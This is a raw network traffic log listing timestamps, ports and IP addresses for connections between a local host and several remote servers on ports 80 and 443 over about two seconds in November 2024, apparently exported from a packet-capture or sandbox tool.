Nov 20, 2024 23:12:48.985543966 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.001898050 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.064122915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.100939035 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.101769924 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.101790905 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.103416920 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.103420973 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.183830976 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.289550066 CET	443	49840	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.289755106 CET	49840	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.289769888 CET	443	49840	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.290807009 CET	443	49840	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.290868044 CET	49840	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.293278933 CET	49840	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.293343067 CET	443	49840	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.296534061 CET	443	49841	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.299700975 CET	49841	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.299720049 CET	443	49841	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.301153898 CET	443	49841	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.301228046 CET	49841	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.301543951 CET	49841	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.301610947 CET	443	49841	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.301687002 CET	49841	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.329708099 CET	443	49842	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.329921007 CET	49842	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.329950094 CET	443	49842	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.330940008 CET	443	49842	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.330995083 CET	49842	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.331326008 CET	49842	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.331388950 CET	443	49842	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.331743956 CET	49842	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.331763983 CET	443	49842	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.338458061 CET	49840	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.338485956 CET	443	49840	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.347336054 CET	443	49841	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.353605986 CET	49841	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.353621006 CET	443	49841	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.363771915 CET	49849	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.363816977 CET	443	49849	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.363960981 CET	49840	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.363992929 CET	49849	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.364156961 CET	49849	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.364167929 CET	443	49849	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.384710073 CET	49842	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.384867907 CET	49842	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.384953022 CET	443	49842	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.385039091 CET	49842	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.391326904 CET	49841	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.391408920 CET	443	49841	172.64.41.3	192.168.2.7
Nov 20, 2024 23:12:49.391560078 CET	49841	443	192.168.2.7	172.64.41.3
Nov 20, 2024 23:12:49.411328077 CET	443	49840	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.423326015 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.423727989 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.423758030 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.425209045 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.425218105 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.519536972 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.519576073 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.519586086 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.519610882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.519643068 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.519722939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.519732952 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.519768000 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.519886017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.519900084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.519932985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.519949913 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.519961119 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.520021915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.528192997 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.528251886 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.528291941 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.528393984 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.536542892 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.536597967 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.540642977 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.540708065 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.540844917 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.540970087 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.540981054 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.541027069 CET	49838	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.541034937 CET	443	49838	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.543561935 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.543591022 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.543694973 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.543863058 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.543873072 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.648452997 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.652321100 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.652374983 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.652401924 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.663872004 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.664007902 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.664031982 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.673551083 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.673602104 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.673621893 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.686372995 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.686434031 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.686455011 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.700189114 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.700246096 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.700265884 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.713962078 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.714019060 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.714041948 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.717681885 CET	49851	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.717715979 CET	443	49851	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.717880011 CET	49851	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.718072891 CET	49852	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.718123913 CET	443	49852	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.718209028 CET	49852	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.718307972 CET	49851	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.718321085 CET	443	49851	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.718525887 CET	49852	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.718540907 CET	443	49852	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.729914904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.729938984 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.729979038 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.730005026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.733903885 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.733963966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.734003067 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.734026909 CET	443	49840	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.734049082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.734215975 CET	443	49840	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.734278917 CET	49840	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.734332085 CET	49840	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:49.734350920 CET	443	49840	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:49.742002964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.742019892 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.742059946 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.742080927 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.752064943 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.752151012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.752686024 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.752734900 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.758225918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.758275986 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.758354902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.758400917 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.758713961 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.765752077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.765805006 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.765813112 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.765855074 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.767975092 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.773906946 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.773955107 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.773967981 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.774161100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.774393082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.774465084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.774539948 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.782291889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.782304049 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.782335997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.782351017 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.789855003 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:49.789889097 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:49.789980888 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:49.790080070 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.790124893 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.790148973 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:49.790177107 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:49.790235043 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:49.790251017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.790286064 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.790489912 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:49.790501118 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:49.790653944 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:49.790664911 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:49.798197031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.798208952 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.798255920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.805607080 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.805660963 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.805718899 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.805864096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.816021919 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.816039085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.816076994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.816088915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.819730997 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.819755077 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.853010893 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.853046894 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.853064060 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.853089094 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.853141069 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.860874891 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.867310047 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.867372036 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.867396116 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.873990059 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.874066114 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.874171972 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.874278069 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.874295950 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.874306917 CET	49839	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.874315023 CET	443	49839	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.877083063 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.877120972 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.877197027 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.877322912 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:49.877331018 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:49.878395081 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.878459930 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.878482103 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.887484074 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.887631893 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.887655973 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.899807930 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.899853945 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.899877071 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.913301945 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.913356066 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.913378954 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.927073002 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.927128077 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.927145958 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.940596104 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.940723896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.940901995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.940952063 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.940967083 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.941019058 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.941041946 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.942456961 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.942471981 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.942514896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.948549032 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.948602915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.948849916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.948898077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.953072071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.953134060 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.953218937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.953321934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.953551054 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.953634977 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.953641891 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.958926916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.958990097 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.959063053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.959110022 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.965157986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.965213060 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.965310097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.965361118 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.965379953 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.965440035 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.965446949 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.970841885 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.970860958 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.970907927 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.977104902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.977118969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.977161884 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.977220058 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.977274895 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.977287054 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.983174086 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.983194113 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.983266115 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.983280897 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.989025116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.989085913 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.989104033 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.989164114 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:49.989167929 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.989191055 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:49.989300013 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:49.995193005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.995352983 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:49.995405912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.000354052 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:50.000745058 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.000775099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.000823975 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:50.000835896 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:50.000870943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.000870943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.006648064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.006696939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.006706953 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.006740093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.012650967 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.012723923 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.012860060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.012914896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.018632889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.018681049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.018711090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.018795013 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.024513960 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:50.024568081 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:50.024597883 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:50.024626970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.024681091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.024719000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.024761915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.027568102 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:50.027645111 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:50.027662992 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:50.030625105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.030657053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.030683994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.030709982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.036658049 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.036711931 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.036840916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.036890030 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.042674065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.042726040 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.043693066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.043776989 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.048677921 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.048732042 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.049856901 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.049913883 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.054750919 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.054805040 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.054944038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.054991961 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.060616970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.060671091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.060766935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.060838938 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.060973883 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:50.061012983 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:50.061027050 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:50.061058998 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:50.061105967 CET	49825	443	192.168.2.7	142.250.181.65
Nov 20, 2024 23:12:50.063044071 CET	443	49825	142.250.181.65	192.168.2.7
Nov 20, 2024 23:12:50.066689014 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:50.066739082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:50.066788912 CET	80	49799	185.215.113.206	192.168.2.7
